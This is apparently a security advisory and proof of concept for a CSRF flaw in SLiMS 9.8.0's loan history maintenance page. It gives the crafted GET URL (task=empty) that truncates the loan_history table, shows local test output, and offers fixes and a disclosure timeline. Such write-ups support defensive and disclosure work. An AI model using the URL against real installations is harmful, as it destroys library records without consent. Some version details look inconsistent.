
Proof-of-concept and technical write-up for CVE-2026-107084, a CSRF flaw in SLiMS 9.8.0 loan history maintenance that lets an attacker trigger unauthenticated TRUNCATE data loss.
SLiMS 9.8.0 allows Cross-Site Request Forgery (CSRF) against admin/modules/circulation/loan_history_maintenance.php. The action=run GET parameter performs privileged, destructive operations — specifically the TRUNCATE of the loan_history table (via task=empty or task=rebuild_all). This action is executed with no CSRF token and no POST confirmation.
Because SLiMS does not set the SameSite attribute on the admin session cookie, a top-level GET navigation (e.g., an admin clicking a crafted link or being redirected to the URL) still carries the session cookie. A cross-site `` fetch would be blocked from carrying the cookie by SameSite=Lax, but the navigation vector still applies.
Impact: An authenticated admin can be tricked into triggering a destructive GET request, resulting in Data Loss (complete truncation of loan history records).
| Field | Value |
|---|---|
| CVE ID | CVE-2026-107084 |
| Official Record | cve.org/CVERecord?id=CVE-2026-107084 |
| Affected Version | SLiMS 9.8.0 (master) |
| Vulnerability Type | CWE-352: Cross-Site Request Forgery (CSRF) |
| Attack Vector | Network |
| Privileges Required | None (Requires user interaction by an authenticated admin) |
| Affected Component | admin/modules/circulation/loan_history_maintenance.php (action=run, tasks empty, rebuild_all) |
| Original Report | slims/slims9_bulian#394 |
| File | Vulnerable Lines |
|---|---|
admin/modules/circulation/loan_history_maintenance.php | 59–190 |
admin/modules/circulation/loan_history_maintenance.phpLines 59–190 — The main action handler accepts GET requests and performs destructive actions without any CSRF validation:

// lines 59-64
if (isset($_GET['action']) && $_GET['action'] === 'run') {
@set_time_limit(0);
@ob_implicit_flush(true);
$task = $_GET['task'] ?? '';
...
The task=empty and task=rebuild_all directly execute a TRUNCATE query:


// case 'empty' and 'rebuild_all'
$ok = $dbs->query('TRUNCATE TABLE loan_history');
Contributing factor: Grepping for csrf or token in admin/modules/circulation/loan_history_maintenance.php returns no results. No CSRF token validation exists anywhere in the file.
docker-compose.yml: php:8.3.13-apache + mariadb:lts)Open the following URL in your browser to check the current stats:
http://localhost:8881/admin/modules/circulation/loan_history_maintenance.php?action=run&task=stats
Output:
Total loan: 0
Total loan_history: 5
Missing loan_history rows: 0

Open the following URL (this simulates an attacker tricking an admin into clicking a link):
http://localhost:8881/admin/modules/circulation/loan_history_maintenance.php?action=run&task=empty
Output:
Truncating loan_history ...
OK

Open the stats URL again. The loan_history count is now 0. The test rows (e.g., loan_id 910001-910005) have been permanently deleted.
Output:
Total loan: 0
Total loan_history: 0
Missing loan_history rows: 0


| Component | Version |
|---|---|
| SLiMS | 9.8.0 (master) |
| Operating System | Ubuntu 24.04 |
| Web Server | Apache 2.4.62 (Debian) |
| PHP | 8.3.13 |
| MariaDB | 12.3.3-MariaDB-ubu2404 |
| MySQL Client | mysqld 8.3.13 |
| Browser | Firefox 156 |
Verified using the repository's own docker-compose.yml.
TRUNCATE and rebuild_all tasks must require a POST request with a valid CSRF token (or explicit POST confirmation). Never run destructive actions from a bare GET.
if ($_SERVER['REQUEST_METHOD'] !== 'POST' || !isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
http_response_code(403);
die('Invalid request or missing CSRF token.');
}
SameSite on Session CookiesAs a defense-in-depth measure, explicitly set SameSite=Lax or SameSite=Strict on the admin session cookie in php.ini or via session_set_cookie_params():
session_set_cookie_params([
'lifetime' => 0,
'path' => '/',
'domain' => '',
'secure' => true,
'httponly' => true,
'samesite' => 'Strict'
]);
| Date | Event |
|---|---|
| 2026-10-05 | Issue #394 reported to SLiMS repository |
| 2026-10-15 | Public write-up published (this repository) |
| 2026-10-20 | Official CVE record published on cve.org |
| — | Awaiting maintainer response on fix |